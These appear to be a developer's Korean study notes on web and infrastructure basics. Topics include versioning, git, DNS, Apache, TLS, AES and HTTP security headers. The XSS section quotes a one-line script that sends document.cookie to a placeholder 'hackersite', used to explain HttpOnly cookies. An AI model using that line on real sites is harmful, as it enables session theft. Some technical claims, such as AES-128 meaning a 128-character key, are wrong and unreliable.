잡다한 지식
- 회원 가입
- md5 키를 만든 후 저장 (is_activation=false > 회원이 메일을 잘못적거나, 회원의 메일이 아닐 수도 있기 때문)
- 회원이 회원가입완료 버튼을 누르면, 회원의 이메일로, 메일을 보냄
메일 : 다시 사이트로 들어오는 주소가 있음 예를 들면, www.abcd.efg/index.php/activationChk?key=dkshfi2lshfhfgsbs23
- 실제 그 주소를 회원이 메일을 보고 누르면, dkshfi2lshfhfgsbs23이라는 md5키를 가져옴
- is_activation=false인 회원테이블을 찾고 위의 dkshfi2lshfhfgsbs23키를 찾음
- is_activation=true로 한 후, 로그인이 되게 함
버전을 주.부.수 숫자로 하고:
- 기존 버전과 호환되지 않게 API가 바뀌면 “주(主) 버전”을 올리고,
- 기존 버전과 호환되면서 새로운 기능을 추가할 때는 “부(部) 버전”을 올리고,
- 기존 버전과 호환되면서 버그를 수정한 것이라면 “수(修) 버전”을 올린다.
-
특정 버전으로 패키지를 배포하고 나면, 그 버전의 내용은 절대 변경하지 말아야 한다. 변경분이 있다면 반드시 새로운 버전으로 배포하도록 한다.
-
주버전 0(0.y.z)은 초기 개발을 위해서 쓴다. 아무 때나 마음대로 바꿀 수 있다. 이 공개 API는 안정판으로 보지 않는 게 좋다.
-
1.0.0 버전은 공개 API를 정의한다. 이후의 버전 번호는 이때 배포한 공개 API에서 어떻게 바뀌는지에 따라 올린다.
-
수버전 바로 뒤에 붙임표(-)를 붙이고 마침표(.)로 구분된 식별자를 더해서 정식 배포를 앞둔 (pre-release) 버전을 표기할 수 있다. 식별자는 반드시 아스키(ASCII) 문자, 숫자, 붙임표로만 구성한다[0-9A-Za-z-]. 식별자는 반드시 한 글자 이상으로 한다. 숫자 식별자의 경우 절대 앞에 0을 붙인 숫자로 표기하지 않는다. 정식배포 전 버전은 관련한 보통 버전보다 우선순위가 낮다. 정식배포 전 버전은 아직 불안정하며 연관된 일반 버전에 대해 호환성 요구사항이 충족되지 않을 수도 있다. 예: 1.0.0-alpha, 1.0.0-alpha.1, 1.0.0-0.3.7, 1.0.0-x.7.z.92.
-
빌드 메타데이터는 수버전이나 정식배포 전 식별자 뒤에 더하기(+) 기호를 붙인 뒤에 마침표로 구분된 식별자를 덧붙여서 표현할 수 있다. 식별자는 반드시 아스키 문자와 숫자와 붙임표로만 구성한다 [0-9A-Za-z-]. 식별자는 반드시 한 글자 이상으로 한다. 빌드 메타데이터는 버전 간의 우선순위를 판단하고자 할 때 반드시 무시해야 한다. 그러므로, 빌드 메타데이터만 다른 두 버전의 우선순위는 같다. 예: 1.0.0-alpha+001, 1.0.0+20130313144700, 1.0.0-beta+exp.sha.5114f85.
Reset과 Revert가 있는데 이 둘을 헷갈리면 배포시 문제가 생길 수 있다고 합니다.
Reset은 돌아 가려는 커밋으로 리파지토리는 재설정되고, 해당 커밋 이후의 이력은 사라집니다.
git reset <옵션> <돌아가고싶은 커밋>
option
- hard : 돌아가려는 이력 이 후의 모든 내용을 지움
- soft : 돌아가려 했던 이력으로 되돌아 갔지만, 이후의 내용이 지워지지 않고, 해당 내용의 인덱스(또는 스테이지)도 그대로
- mixed (Default) : 역시 이력은 되돌려짐. 이후에 변경된 내용에 대해서는 남아있지만, 인덱스는 초기화. 커밋을 하려면 다시 변경된 내용은 추가해야 하는 상태!
+)
// 이전으로 돌아감
git reset HEAD~
// 현재부터 6개 이전 이력으로 돌아감
git reset HEAD~6
Revert는 상태를 되돌린다고 볼 수 있습니다. 하지만 RollBack한 이력은 모두 남고 내부적으로 새로운 commit이 발생합니다.
git revert 2664ce8
git revert 2664ce8..15413dc
git reset 후 push를 하면 origin/master의 head가 3번째를 가리킨다고 하자
하지만 다른 작업자의 local/master는 여전히 4번째를 가리키고 있다.
git pull을 실행히도 origin/master의 commit으로 돌아가지 않는다.
origin/master보다 새로운 commit을 가지고 있는 것으로 인식하기 때문에 이 경우 다른 개발자도 local/master 의 HEAD를 origin/master의 HEAD와 맞춰줘야 한다.
하지만 git reset 후에도 local/master와 origin/master는 다른 작업 트리를 타게된다.
따라서 git reset --hard 이후에 서로 다른 작업트리를 타기 때문에 공용 브랜치에서는 사용하지 말아야 한다.
User Agent란 Request가 왔을 때 Header에 포함되어 오는 것이며 어디로부터 왔는지를 파악하게 하는 것이다. 예를 들어 WeChat Application에서 요청이 들어왔다면 Header의 User Agent에 WeChat을 읽어 WeChat Application으로부터 온 요청인지 파악한다.
User Agent값은 개발자가 세팅해주어야 한다. 즉 WeChat에서 User Agent값을 세팅해주어야 받은 사람이 User Agent값을 읽어 파악할 수 있다.
API를 개발하는 것에 DB 쿼리.. 뭐 이런걸 건들인다 는 너무 당연해서 쓸 필요가 없는 것 같다. 하지만 보안적으로는 알아야 할 부분이 많다. 특히 로그인 정보 등을 가져오는 API가 안전장치 하나없이 열려있는 것은 말도 안되는 일이다. 안전 장치를 걸기 위해서는 여러가지 방법이 있다.
현재 금융 시스템의 api를 건들일 때는 3가지의 보안 기능을 사용한다.
- ip를 알아 방화벽을 뚫어놓는다.
- 자신이 원하는 패턴의 url이 들어오지 않으면 넘긴다.
- token을 이용해서 암호화 인증을 한다.
서버 대 서버가 통신하지 않는다면 굳이 클라이언트 측에서 token을 만들 필요가 없이 그냥 token을 그대로 넘겨주고 그걸 서버에서 인증하는 것이 좋을 것 같다.
일단 expire 기간은 30일, token에는 아이디, 사용자 인덱스 를 넣을 예정이다.
만약 expire되었거나, token이 유효하지 않으면 자동으로 login 페이지 redirect 되도록 해야 한다.
DNS와 ip를 붙였는데 DNS에 접속되지 않는 경우가 있었다.
DNS가 존재하는 몇개의 회사들이 있다. 그리고 그 DNS에서 url을 읽으면 맞는 ip에 연결을 해줘야한다. 하지만 DNS의 ip를 변경했는데 아직 전 세계의 DNS 서버로 도착하지 못하여 KT의 DNS에서는 연결되지 않았지만 google의 DNS에서는 연결되는 경우가 있었다.
이 때 해결 방법은 DNS 서버를 추가하는 것이다.
- cmd를 켜고
nslookup을 입력한다. - 연결되는지 확인하고싶은 dns를 입력한다.
- DNS서버는
server DNS서버ip의 형태로 변경한다.
예를 들어 google로 변경하고 싶을 때에는 "server 8.8.8.8" 을 입력한다.
- System Preferences
- Network 선택
- Advanced 선택
- DNS 이동
- DNS 서버 추가하기
사이트 맵이라는 것이 있다. 자신의 사이트에서 page의 url을 추출해서 xml로 만들어 각 포털 web master에 올리면 검색을 쉽게 하도록 도와준다. 지금 구글로 들어가서 네이버 를 검색해보면 아래 네이버 TV연예 네이버 스포츠 등이 보일 것이다. 이것을 사이트 맵이라고 한다.
사이트맵을 등록하는 방법은 검색하면 자세하게 나와있으니 따라해보는 것을 추천한다!!!!
url.net을 쳤을 때 자동으로 앞에 www가 붙는 것이 있고 붙지 않는 것이 있다. 이는 url.net을 쳤을 때 www를 붙여주도록 설정을 해야하는데 설정하지 않은 것이다. naver.com을 쳤는데 www가 나오는 것은 www를 붙여줬기 때문이었다!!!!
Mac에서는 apache가 기본적으로 내장되어있다.
아파치는 sudo 권한으로 들어가야 하기 때문에 관리자 권한에서 실행해 주는 것이 덜 귀찮다
apachectl -v
sudo apachectl start
이후 localhost/ 를 들어가면 It Works!!!! 라는 것이 뜬다 (느낌표가 이렇게 많았는지는 모르겠다.)
이제 아파치의 경로를 변경해도 되고 하지 않아도 된다. 일단 변경 하지 않고 간단하게 실행하는 방법을 먼저 알아보자.
아파치가 보고 있는 경로는 /Library/WebServer/Documents 이것이다.
즉 아파치는 이 경로에 들어가 index.html 파일을 찾아서 읽는데 만약 index.html파일이 없다면 index.html.en 파일을 읽어서 띄워준다.
이 경로에다가 파일을 넣고
sudo apachectl restart
를 하여 다시 아파치를 실행시켜준다.
아파치를 재시작하고 다시 localhost/에 들어가면 자신의 원하는 index.html 파일이 로딩된다.
httpd.config 파일이 아파치가 기본으로 읽는 설정파일이다. 그곳에보면 DocumentRoot가 있는데 이 경로를 아파치가 기본으로 읽게 된다.
이 경로는 원하는 경로로 변경시켜주고 restart를 해주면 된다.
하지만 매번 httpd.config 파일에 들어가서 수정하기가 번거롭기 때문에 user.config라는 것을 사용하는데 user.config 의 user는 사용자가 정하는 이름이다.
이 경로를 읽도록 httpd.config 파일의 Include를 실행시켜주고 config 파일을 생성해서 읽을 수 있도록 만들어준다.
자세한 방법은 위의 url을 참고하면 된다.
index.html.en파일을 삭제해주면 된다 ㅇㅅㅇ..;; index.html이 없을 때 읽히는 것 같았는데 localhost/index.html 해도 읽혔기 때문에 나는 삭제를 해주었다.
HAProxy을 사용해서 2개의 서버를 이용하는데
MCCS라는 회사의 이중화 Solution은 1번 DB : Active / 2번 DB : StandBy 일 때
만약 1번이 죽으면 1번 DB를 StandBy로 2번 DB를 Active로 변경시켜준다.
하지만 여기서 주의해야할 게 있는 데 만약 1번 DB가 죽었을 때 서버에서는 아직도 1번 DB를 보고 있기 때문에 바꿔줘야 한다는 것이다.
이를 해결하기 위해서 Virtual IP 즉 VIP라는 것을 사용하는데 2개의 DB를 하나로 묶은 IP를 사용하여 그 IP를 보게 만들면 자동으로 변경을 해준다.
가끔 DNS에서 IP를 알아내야 하는 일 & 접속이 되는지 확인해야하는 일이 생긴다. 이때는 (window에서는)
처럼 명령어를 입력해주면 알아낼 수 있다.
그렇다면 해당 아이피에 접속이 되는지 telnet으로 알아볼 수 있다.
telnet ip port 를 했을 때 연결이 가능하면 방화벽이 뚫려있는 것이다.
+) 주의할 점 : https:// 등 앞에 붙은 것들을 빼고 넣는다
예를 들어 https://devop.lpoint.com 이라면 devop.lpoint.com 으로 telnet을 사용한다.
MIME Type이란 Multipurpose Internet Mail Extensions의 약자로 일종의 인코딩방식 이다.
예를 들면 아래와 같다.
MIME Type : application/vnd.ms-powerpoint
확장자 : ppt
설명 : Microsoft PowerPoint file
MIME Type : text/plain
확장자 : txt
설명 : text
MIME Type : image/gif
확장자 : gif
설명 : GIF image
전체적으로 MIME를 사용하는 로직을 말하자면
-
Server에서는 해당 확장자가 들어오면 MIME Type을 설정해준다.
-
Client는 MIME Type을 읽고 WebSite에서 해당 확장자를 어떤 형식으로 렌더링할지 확인한다.
웹사이트를 개발할 때 기본적은 MIME Type을 지정할 수 있거나, 기본적인 MIME Type을 허용한다. 하지만 만약 자신이 .json 파일을 Client 단에서 나오지 않게 막으려면
IIS 관리자 > MIME 관리 에서 허용을 막을 수 있다.
SMTP Relay란 메일 서버 외부에서 메일 서버를 경유하여 다른 메일 서버로 메일을 보내는 것을 의미한다. 이때 경유하는 서버를 메일 릴레이 서버라고 한다.
모든 전자 메일 메시지를 Relay 하는 것을 Open Relay라고 하며 Open Relay Mail Server는 Spam Mail 발신자의 메일 서버로 사용될 수 있는데 이는 서버가 여러 RBL에 스팸 메일 서버로 등록되는 결과를 야기한다.
따라서 Relay를 인증된 이메일만 들어올 수 있도록 설정할 수 있다.
릴레이 서버는 서버로 동작하는 IP 기기로부터 영상과 음성을 받아서 실시간으로 클라이언트로 동작하는 수많은 IP 기기에 영상과 음성을 방송하는 서버 이다.
IP 기기에 접속하는 동시 접속자의 수를 증가시키고 하나의 기기가 인터넷을 경유하여 다수의 IP 기기에 영상과 음성을 전송하는데 필요한 네트워크 대역폭을 줄이기 위하여 릴레이 서버가 필요하다
-
도로에 있는 팬, 틸트, 줌 카메라의 영상을 인터넷을 통하여 중앙 감시 센터에 있는 릴레이 서버에 전송하면 릴레이 서버가 LAN을 통하여 벽면 대형 모니터, 관제 요원의 모니터, 번호판 인식 시스템에 분배한다.
-
아파트 단지의 홈 네트워크 시스템을 구성하는 각 가정의 홈 서버의 화면에서 놀이터나 주차장을 모니터링하고자 할 때 문제가 되는 카메라의 최대 접속자의 수를 증가시키이 위하여 사용한다.
-
예를 들어 3000세대로 구성된 아파트 단지에서 약 5%가 특정 카메라에 동시 접속하려고 하면 그 카메라의 동시 접속자는 150명이어야 한다. 그런데 대부분의 카메라들의 동시접속자 수는 50명 이하입니다. 따라서 릴레이 서버가 카메라에 접속하고 각 가정의 홈 서버는 릴레이 서버에 접속하도록 홈 네트워크 시스템을 설계함으로써 각 가정에서 자유롭게 놀이터나 주차장의 실시간 영상을 모니터링 할 수 있다.
: 일정 조직 내에서 인터넷이 아닌 내부 네트워크를 통해 PC끼리 자원을 공유하게 하거나, 그룹웨어 등을 사용할 수 있게 하는 근거리 통신망(LAN)
: 물리적 망분리, 접근 통제 시스템 등에 의해 인터넷 구간에서 직접적인 접근이 통제 또는 차단되는 구간
: 외부에 서비스 제공 시 내부 자원을 보호하기 위해 내부망과 외부망 사이에서 접근제한을 수행하는 영역
: 일정 조직을 넘어 정보를 교환할 수 있는 즉 인터넷을 통한 네트워크
: 개인정보처리시스템에 대한 접속은 원칙적으로 차단되어야 하는 데 접속이 필요한 경우 VPN (가상사설망) 등의 안전한 보호대책을 마련하여 접근하기 위해 사용
: 개인 정보 취급자가 사업장 내의 개인정보 처리 시스템에 대해 원격으로 접속할 때, IPSec, SSL 기반의 암호 프로토콜을 사용한 터널링 기술을 통해 안전한 암호통신을 할 수 있도록 하는 보안 시스템
-
IPSec(Ip Security Protocol) : 인터넷상에 보안 기능을 이용하여 데이터 도청 등의 방지를 위한 통신 규약
-
SSL(Secure Sockets Layer) : 웹브라우저와 웹서버간에 데이터를 안전하게 주고 받기 위한 업계 표준 보안 프로토콜
sub domain에 관련된 정의는 예시를 보는 것이 더 빠르다.
naver.com 이나 http://naver.com 으로 접속해도 http://www.naver.com 으로 이동한다.
이것과 같이 서브도메인은 메인 서비스로 연결해주는 통로라고 생각하면 쉽다.
하나의 메인 도메인에 여러개의 서브 도메인을 만들어서 사용한다.
라운드 로빈 스케줄링(Round Robin Scheduling, RR)은 시분할 시스템을 위해 설계된 선점형 스케줄링의 하나로서, 프로세스들 사이에 우선순위를 두지 않고, 순서대로 시간단위(Time Quantum/Slice)로 CPU를 할당하는 방식의 CPU 스케줄링 알고리즘입니다.
즉, 컴퓨터 운영에서, 컴퓨터 자원을 사용할 수 있는 기회를 프로그램 프로세스들에게 공정하게 부여하기 위한 한 방법으로서, 각 프로세스에 일정시간을 할당하고, 할당된 시간이 지나면 그 프로세스는 잠시 보류한 뒤 다른 프로세스에게 기회를 주고, 또 그 다음 프로세스에게 하는 식으로, 돌아가며 기회를 부여하는 운영방식이라 풀어 말할 수 있겠습니다.
네트워크에서 발생되는 트래픽이 일정 이상으로 늘어나 한 서버에서 처리가 힘들어, 느린 반응 속도, 서비스 다운 등의 문제를 대응하는 방안으로 초과되는 트래픽을 여러 서버로 분산시키는 것이다.
그 방법 중 하나로 DNS RoundRobin을 사용한다. 하나의 도메인에 여러 개의 IP 주소를 등록해 요청 순서대로 각각 다른 IP 주소로 보내 다른 서버로 접속시켜 부하를 분산하는 기술이다.
하지만 현재는 단점이 많이 부각되어 잘 사용하고 있지 않은 기술이기도 하다.
스마트폰에서 접속하면 캐리어 게이트웨이라고 하는 프록시 서버를 경유한다. 프록시 서버에서는 이름 변환 결과가 일정 시간 동안 캐싱되므로 같은 프록시 서버를 경유하는 접속은 항상 같은서버로 접속된다. 또한 PC 용 웹 브라우저도 DNS 질의 결과를 캐싱하기 때문에 균등하게 부하분산 되지는 않는다.
DNS 서버는 웹 서버의 부하나 접속수에 따라 질의 결과를 제어할 수 없다. DNS Round Robin은 부하분산을 위한 방법이지, 다중화 방법은 아니므로 다른 프로그램과 합해서관리해야한다.
따라서 각 웹 서버에 VIP에 자동으로 한쪽이 정지되면 다른 한쪽으로 정보를 넘기는 방식으 로 구성해야한다.
- 인터넷에서의 정보를 암호화해서 송수신하는 프로토콜
- SSL(Secure Sockets Layer) 기반 기술
- 국제 인터넷 표준화 기구에서 인증받은 프로토콜 사용
- IETF에서 SSLv3를 기반으로 표준화
- 필수 프로토콜 및 암호 요구사항
- Diffie-Hellman key Agreement
- Digital Signature Standard
- 3DES encryption
- HMAC 사용
- 옵션 프로토콜 및 암호 요구사항
- Diffie-Hellman key Agreement
- Digital Signature Standard
- 3DES encryption
SSL은 원래 HTTP를 보안하기 위해 넷스케이프에서 처음 만든 프로토콜이다. 브라우저 주소창에 HTTPS로 시작하는 URL에 접속하는 경우 SSL을 통해 HTTP 프로토콜로 통신한다.
이 프로토콜은 1999년 1월 RFC 2246에서 처음으로 정의되었다. 이것은 SSL 3.0에서 업그레이드되었고, 많은 부분이 바뀌지 않았다. SSL 3.0과 TLS 1.0 의 주요한 차이점은 아래와 같다.
- 키가 생성되는 함수가 다른다.
- MAC이 다르다 : SSL3.0은 초기 HMAC의 수정본을 사용하였고 반면에 TLS 1.0은 HMAC을 사용하였다.
- 끝나는 메시지가 다르다
- TLS는 더 많은 알람이 있다.
- TLS는 DSS/DH 지원이 요구된다.
이 프로토콜은 2006년 4월에 RFC4346로 정의되었고 TLS1.0으로 업데이트 되었다. 주요한 변화는 아래와 같다.
- IV(Initialization Vector)는 Cipher block chaining (CBC) 공격을 막기위해 explicit IV로 교체되었다.
- CBC 공격을 보호하기 위해 decryption_failed 알림 대신 bac_record_mac 알림으로 변경하였다.
- IANA 등록자들은 protocol parameter를 정의했다.
- non-resumable로 되기 위해 Premature Closes은 더이상 session을 일으키지 않는다.
이 프로토콜은 2008년 8월에 RFC 5246으로 정의되었다. TLS 1.1, TLS 1.2을 기반으로 유연하게 발전되었다. 주요 차이점은 아래와 같다.
- Pseudorandom function(PRF)의 MD5/SHA-1의 조합은 cipher-suite-specified PRF's 로 변경되었다.
- single hash에서 MD5/SHA-1의 조합으로 변경되었다.
- 더해진 데이터의 authenticated encryption 지원을 추가했다.
- TLS 확장의 정의와 AES cipher Suite는 합쳐졌다.
Bastion Hsot는 방화벽 시스템이 가지는 기능 중 가장 중요한 기능을 제공한다.
Bastion이란 중세 성곽의 가장 중요한 수비 부분을 의미하는데 침입 차단 소프트웨어가 설치되어 내부와 외부 네트워크 사이에 일종의 게이트 역할을 수행하는 호스트이다.
접근제어와 응용 시스템, 게이트웨이로써 가상서버의 설치, 인증, 로그 등을 담당하는데 내부 네트워크 전체의 보안을 책임지기 때문에 보안 침해자의 공격목표가 되기 쉽다.
따라서 일반 사용자의 계정을 만들지 말고 해킹의 대상이 될 어떠한 조건도 두지 않는 것이 좋다.
localhost의 ip를 파트너사에 보내야해서
localhost의 ip를 알아보려고 cmd창을 켜서 ipconfig를 입력하였다.
하지만 ipconfig의 결과는 아래와 같았다.
192.~ 으로 시작하는 ip는 사설 ip이고 우리는 건물에서 들어오는 ip를 알아봐야한다.
즉 건물로 들어오는 ip가 사설 ip로 각 컴퓨터에 할당되기 때문에 위와같은 현상이 발생한다.
따라서 what is my ip 라는 웹사이트를 이용하면 건물로 들어오는 ip를 알아낼 수 있다.
AES CBC 128을 쓸때나 AES GCM 256을 쓸때나 어쨋든 key 값은 필요하다.
만약 한명의 관리자와 api 통신을 한다면 server에 key값을 두고 진행하기도하고, 여러명의 관리자와 api 통신을 한다면 db에 저장하기도 한다.
하지만 이들은 매우 보안성이 떨어진다는 것을 알 수 있을 것이다.
따라서 PG등 결제 관련 보안이 들어가는 곳에는 KMS라는 key server를 이용한다.
이 서버에서 key를 관리하고 서버에서 key를 받아 암호화를 진행한다.
key size는 한 글자가 1byte이기 때문에 128은 128글자, 256은 256글자를 의미한다.
초기화 벡터(initialization vector, IV)[1]는 첫 블록을 암호화할 때 사용되는 값을 의미한다.
운용 방식마다 초기화 벡터를 사용하는 방법이 다르며 초기화 벡터에서 요구되는 성질도 조금씩 다를 수 있지만, 같은 초기화 벡터가 반복되어 사용되어서는 안 된다는 성질을 공통적으로 가진다. 이것은 초기화 벡터가 같은 경우 비슷한 두 개의 평문을 암호화했을 때 앞부분의 블록들이 서로 같게 되는 등 보안 문제가 발생하기 때문이다.
CTR 등의 일부 운용 방식에서는 초기화 벡터라는 용어 대신 nonce(number used once)라는 용어를 사용한다. 이 표현은 보통 초기화 벡터가 매번 달라야 하는 것 외에 별다른 요구 조건이 없을 경우 사용한다.
C:\Windows\System32\drivers\etc\hosts 의 맨 아랫부분에 ip DomainName 을 입력하면 되는데,
예를 들어 1.2.1.2 domain.co.kr 이런식으로 입력하면된다.
이 방식은 dns에는 설정을 안했으나, IDC에서 사이트를 올리고 localhost에서 테스트를 해보아야할 때 편리하다.
-
hosts를 수정할 때는
관리자 권한으로 실행이 되지 않아, 바로가기를 만들어야한다고 한다. -
바탕화면>새로만들기>바로가기 -
C:\Windows\System32\notepad.exe C:\Windows\System32\drivers\etc\hosts입력 (중간에 공백 주의) -
바로가기 이름 입력
-
바탕화면방금 만든바로가기파일 >관리자 권한으로 실행 -
수정!
-
Sublime을 관리자권한으로 열어서 수정하면된다.
Server를 재시작해야하는 일이 생겼다. 그래서 같은 Key file로 서버를 새로 시작했는데 sublime에서 해당 오류가 발생하였다.
server에 key를 이용할 때 신뢰할 수 있는 key라고 물어보는게 server와 key를 교환하여 신뢰하는 방식임을 확인하고 통신하기 때문에 key 교환을 위한 것이라고 한다.
하지만 현재 서버는 재시작되어 같은 키라도 새로운 키로 인식하고 시작하는데 현재 내 컴퓨터에서는 기존의 서버에 접속했던 기록이 남아있어 에러가 나게된다.
따라서 window registry > HEKY_CURRENT_USER > Software > SimonTatham > PuTTy > sshHostKey 에서 해당 ip의 key를 삭제해준다.
AWS에서는 물리서버를 가지고 있고, 해당 물리서버를 이용하여 서비스를 제공하고있다.
한개의 물리서버에서 한개의 서버만 물리면, 낭비가 심하기 때문에 여러개의 서버를 물리는데,
서버를 구분할때 가상 ip 를 사용하여 여러개의 서버를 서비스한다.
하지만 가상 ip는 갯수 제한 이 있어, 서비스를 더 다양하게 제공하기 어렵다.
따라서 host-header 라는 것을 이용하는데, 같은 가상 ip에 여러 개의 서비스를 띄우고
해당 서비스에 host-header 를 두어 서비스를 구별하는 것이다.
하나의 서버에는 하나의 public ip가 묶여있다.
하나의 public ip안에는 여러개의 웹사이트가 떠있는데, 웹사이트들은 다른 포트를 가질 수도있고,
80으로만 서비스를 하고 싶다면 여러개의 서버가 모두 80으로 띄워놓을수도있다.
만약 dns에서 ip를 받아 public ip를 때렸을 때 어떤 서비스를 실행해야할지 모른다.
이때 host-header 를 설정하여 서비스를 구별한다.
ClickJacking 공격 : 사용자가 인지하지 못하는 투명 레이어를 추가하여 악성 링크로 요청을 보내도록 하는 수법
Http Header에 X-Frame-Options가 있을 경우 속성에 따라 frame에 표시할 수 있는 리소스를 제한
X-Frame-Options: DENY -- 사이트에 관계없이 프레임에 표시할 수 없음
X-Frame-Options: SAMEORIGIN -- 페이지 자체와 동일한 출처의 프레임에만 표시
X-Frame-Options: ALLOW-FROM https://example.com/ -- 지정된 도메인을 가지는 프레임에만 표시
Most modern Web browsers support the X-Frame-Options HTTP header. Ensure it's set on all web pages returned by your site (if you expect the page to be framed only by pages on your server (e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN , otherwise if you never expect the page to be framed, you should use DENY . ALLOW-FROM allows specific websites to frame the web page in supported web browsers).
Pragma, Cache Control : 브라우저나 프록시 서버로 하여금 요청시에 캐시된 문서를 사용하지 말고 매번 서버로부터 새로운 문서를 재전송받아 사용하도록 알리는 헤더
Pragma : 특정 브라우저에서만 동작하기 때문에 정확하게 cache-control이 되는지 보장할 수 없음 HTTP/1.0에서 Cache 등을 제어하기 위해 사용되었으나, HTTP/1.1에서는 좀 더 정교한 Cache Control 을 위해 별도의 지시자가 추가되었으므로 사용하지 않는 것이 좋다.
no-cache를 하는 이유는 민감한 정보를 보유하거나 배포하는 것을 방지하기 위함
Cache-Control: max-age=3600, must-revalidate
3600초까지는 서버에 요청없이 캐쉬데이터를 사용하며, 3600초 경과 후에는 서버에 꼭 유효성검사를 해야하며 네트웍 상황등의 이유로 유효성검사가 불가능할경우에도 절대로 캐쉬데이터를 사용하면 안된다는것을 명시.
-
max-age=[seconds]— Expires와 동일한 의미지만 고정된 절대시간 값이아닌 요청 시간으로부터의 상대적 시간 을 표시한다. 명시된경우 Expires보다 우선시된다. -
s-maxage=[seconds]— max-age와 동일한 의미지만 shared caches (예: proxy)에만 적용 됨. 명시된경우 max-age나 Expires보다 우선시된다. -
public— 일반적으로 HTTP 인증이 된 상태에서 일어나는 응답은 자동으로 private 이 되지만 public을 명시적으로 설정하면 인증이된 상태더라도 캐시 하도록 한다. -
private— 특정 유저(사용자의 브라우저)만 캐쉬 하도록 설정. 여러사람이 사용하는 네트워크상의 중간자(intermediaries)역할을 하는 shared caches (예: proxy) 에는 경우 캐쉬되지 않는다. -
no-cache— 응답 데이터를 캐쉬하고는 있지만, 일단 먼저 서버에 요청해서 유효성 검사(validation)을 하도록 강제 한다. 어느정도 캐쉬의 효용을 누리면서도 컨텐츠의 freshness를 강제로 유지하는데 좋다. -
no-store— 어떤 상황에서도 해당 response 데이터를 저장하지 않음. -
no-transform— 어떤 프록시들은 어떤 이미지나 문서들을 성능향상을위해 최적화된 포멧으로 변환 하는 등의 자동화된 동작을 하는데 이러한 것을 원치 않는다면 이 옵션을 명시해주는 것이 좋다. -
must-revalidate— HTTP는 특정 상황(네트워크 연결이 끊어졌을때 등)에서는 fresh하지 않은 캐쉬 데이터임에도 불구하고 사용하는 경우를 방지 -
proxy-revalidate— must-revalidate와 비슷하지만 proxy caches 에만 적용
Whenever possible ensure the cache-control HTTP header is set with no-cache , no-store , must-revalidate ; and that the pragma HTTP header is set with no-cache
HTTP Header가 browser에 full file을 다운로딩시키는 것이 아니라, 관련된 리소스의 수정을 인지해서 다운로딩한다.
server에서는 client에게 hash sum 을 전송하는데 다음에 client가 resource에 접근하려고 하면, 다운로딩하는 대신 서버에 요청을 보낼 때 Header에 hash sum 이름을 전달한다.
서버는 해당 header 값을 받고 다르다면 client 에게 해당 파일을 다운로드받으라는 것을 강제한다.
max-age를 정하면 그동안 file cache 를 하지 않는다. 하지만 그 이전에 파일이 수정이되는 것을 어떻게 알수 있는가.
브라우저에게 새로운 파일을 다운로드 받으라고 강제하면, WebPack이나 Gulp같은 기술이 필요하다.
파일 이름을 hash sum한 이후 조금이라도 해당 이름이 변경되었다는 것을 인지하면 새로운 파일을 다운로드 받으라는 것을 강제한다.
이것은 static file (css, js, image file) 을 포함한다.
해당 값은 reloading 하기 전에 절대로 새로운 파일을 받아들이지 않는 것을 의미한다.
또한 caching을 하지 않는 것이 아닌, 해당 파일을 사용할 때 validation request을 보내 확인을 해보는 것이다.
해당 request는 80byte 정도의 간단한 요청이다.
가장 기초적인 취약점 공격 방법의 일종으로 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법
공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게되며 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취
Ensure that the web browser's XSS filter is enabled, by setting the X-XSS-Protection HTTP response header to '1'.
The X-XSS-Protection HTTP response header allows the web server to enable or disable the web browser's XSS protection mechanism. The following values would attempt to enable it:
- X-XSS-Protection: 1; mode=block
- X-XSS-Protection: 1; report=http://www.example.com/xss The following values would disable it:
- X-XSS-Protection: 0
The X-XSS-Protection HTTP response header is currently supported on Internet Explorer, Chrome and Safari (WebKit).
Note that this alert is only raised if the response body could potentially contain an XSS payload (with a text-based content type, with a non-zero length).
A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible.
쿠키는 클라이언트에서 Javascript로 조회 가능 > 해커들은 쿠키 탈취를 시도
location.href = 'http://hackersite/?cookies=' + document.cookie;
이러한 코드를 작성하면 자동으로 탈취 > XSS 공격 방법
따라서 이러한 문제를 해결하기 위해 HTTP Only Cookie를 사용 > http로 통신시에만 웹브라우저가 쿠키를 서버로 전송 (브라우저 콘솔창에서 javascript 코드 친다고 해도 cookie 검색 안됨)
A cookie has been set without the secure flag, which means that the cookie can be accessed via unencrypted connections.
HTTP Only Cookie를 사용하면 Client에서 Javascript을 통해 쿠키 탈취를 해결할 수 있으나, 네트워크에서 감청하고 있으면..?
이러한 통신상의 정보유출을 막기 위해 HTTPS 프로토콜을 사용하여 데이터를 암호화 > 제 3자는 알수가 없음
HTTPS로 전송되야하는게 만약 개발자의 부주의로 HTTP로 유출된다면..? 따라서 secure 접미사를 사용!
Secure을 사용해 쿠키를 생성하면 HTTPS가 아니면 쿠키를 전달하지 않음
secure는 기본적으로 false이므로 true로 설정해주어야한다.
Content-Type을 지정해주지 않으면 Client는 해당 값을 어떤 MIME type인지 모른 채로 받게 된다.
예를 들어 Javascript의 값이라면 ''application/javascript`` 을 넣어 실행시켜줘야한다.
하지만 똑똑한 브라우저는 Javascript을 자동으로 인식해서 javascript을 실행시켜주는 데 이는 보안적으로 약점이 될 수 있다.
따라서 브라우저가 마음대로 추측 sniff 하는 것이 아닌 nosniff 를 사용하여, 브라우저가 추측하지 못하게 한다.
Ensure that the application/web server sets the Content-Type header appropriately , and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages.
If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all , or that can be directed by the web application/web server to not perform MIME-sniffing.
This issue still applies to error type pages (401, 403, 500, etc) as those pages are often still affected by injection issues , in which case there is still concern for browsers sniffing pages away from their actual content type.
At "High" threshold this scanner will not alert on client or server error responses.
- Unix : 맨처음 assembly로 개발되었다가 C언어로 개발되어진 OS
- Linux : Unix를 계승하여 만듬. Unix보다 안정성이 떨어지나 무료이고 사용하기 편함
- Enterprise
- 상용화된 OS
- Redhat의 무료버전
- 거의 비슷하기 때문에 사용해도 괜찮음
- 단 무료이기 때문에 빠른 Feedback이 없음
- Redhat에 적용 전 Test해보는 OS
- Test용이기 때문에 Stable하지 않음
- User들이 만든 Community
- Debian을 본따서 만든 것이 Ubuntu
- Release 기간이 짧고 사용이 쉬워 처음 시작하기에 좋다
